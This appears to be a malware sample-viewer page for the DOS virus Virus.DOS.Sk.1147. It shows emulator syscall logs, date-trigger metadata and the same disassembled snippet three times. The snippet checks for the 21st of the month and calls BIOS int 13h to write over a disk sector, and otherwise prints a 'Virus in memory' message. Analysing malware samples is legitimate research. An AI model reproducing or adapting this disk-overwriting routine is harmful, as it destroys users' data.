Sample viewer

vx.netlux.org/Virus.DOS.Sk.1147

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:46:38.029274309Z 98 PC: 12c90 | Get current PSP
2018-12-17T22:46:38.037920918Z 42 PC: 9f5a5 | Get date 0x9f5a5: cmp dl, 0x15
0x9f5a8: jne 0x9f5bb
0x9f5aa: mov ax, 0x309
0x9f5ad: mov dx, 0
0x9f5b0: mov cx, 1
0x9f5b3: lea bx, word ptr [0x100]
0x9f5b7: int 0x13
0x9f5b9: jmp 0x9f5cc
0x9f5bb: mov ax, 0
0x9f5be: mov ds, ax
0x9f5c0: inc word ptr [0x310]
0x9f5c4: cmp word ptr [0x310], 0xfff
0x9f5ca: jne 0x9f5dd
0x9f5cc: push cs
0x9f5cd: pop ds
0x9f5ce: mov ah, 9
0x9f5d0: mov di, 0x1e1
0x9f5d3: add di, 0x107
0x9f5d7: mov dx, di
0x9f5d9: int 0x21

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":8942,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:22:12.706380021Z 98 PC: 12c90 | Get current PSP
2018-12-25T12:22:12.716919108Z 42 PC: 9f5a5 | Get date 0x9f5a5: cmp dl, 0x15
0x9f5a8: jne 0x9f5bb
0x9f5aa: mov ax, 0x309
0x9f5ad: mov dx, 0
0x9f5b0: mov cx, 1
0x9f5b3: lea bx, word ptr [0x100]
0x9f5b7: int 0x13
0x9f5b9: jmp 0x9f5cc
0x9f5bb: mov ax, 0
0x9f5be: mov ds, ax
0x9f5c0: inc word ptr [0x310]
0x9f5c4: cmp word ptr [0x310], 0xfff
0x9f5ca: jne 0x9f5dd
0x9f5cc: push cs
0x9f5cd: pop ds
0x9f5ce: mov ah, 9
0x9f5d0: mov di, 0x1e1
0x9f5d3: add di, 0x107
0x9f5d7: mov dx, di
0x9f5d9: int 0x21

{"DateBased":true,"Day":21,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":8942,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:22:13.066310804Z 98 PC: 12c90 | Get current PSP
2018-12-25T12:22:13.076194275Z 42 PC: 9f5a5 | Get date 0x9f5a5: cmp dl, 0x15
0x9f5a8: jne 0x9f5bb
0x9f5aa: mov ax, 0x309
0x9f5ad: mov dx, 0
0x9f5b0: mov cx, 1
0x9f5b3: lea bx, word ptr [0x100]
0x9f5b7: int 0x13
0x9f5b9: jmp 0x9f5cc
0x9f5bb: mov ax, 0
0x9f5be: mov ds, ax
0x9f5c0: inc word ptr [0x310]
0x9f5c4: cmp word ptr [0x310], 0xfff
0x9f5ca: jne 0x9f5dd
0x9f5cc: push cs
0x9f5cd: pop ds
0x9f5ce: mov ah, 9
0x9f5d0: mov di, 0x1e1
0x9f5d3: add di, 0x107
0x9f5d7: mov dx, di
0x9f5d9: int 0x21
2018-12-25T12:22:13.087790458Z 9 PC: 9f5db | Display string (String= 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...')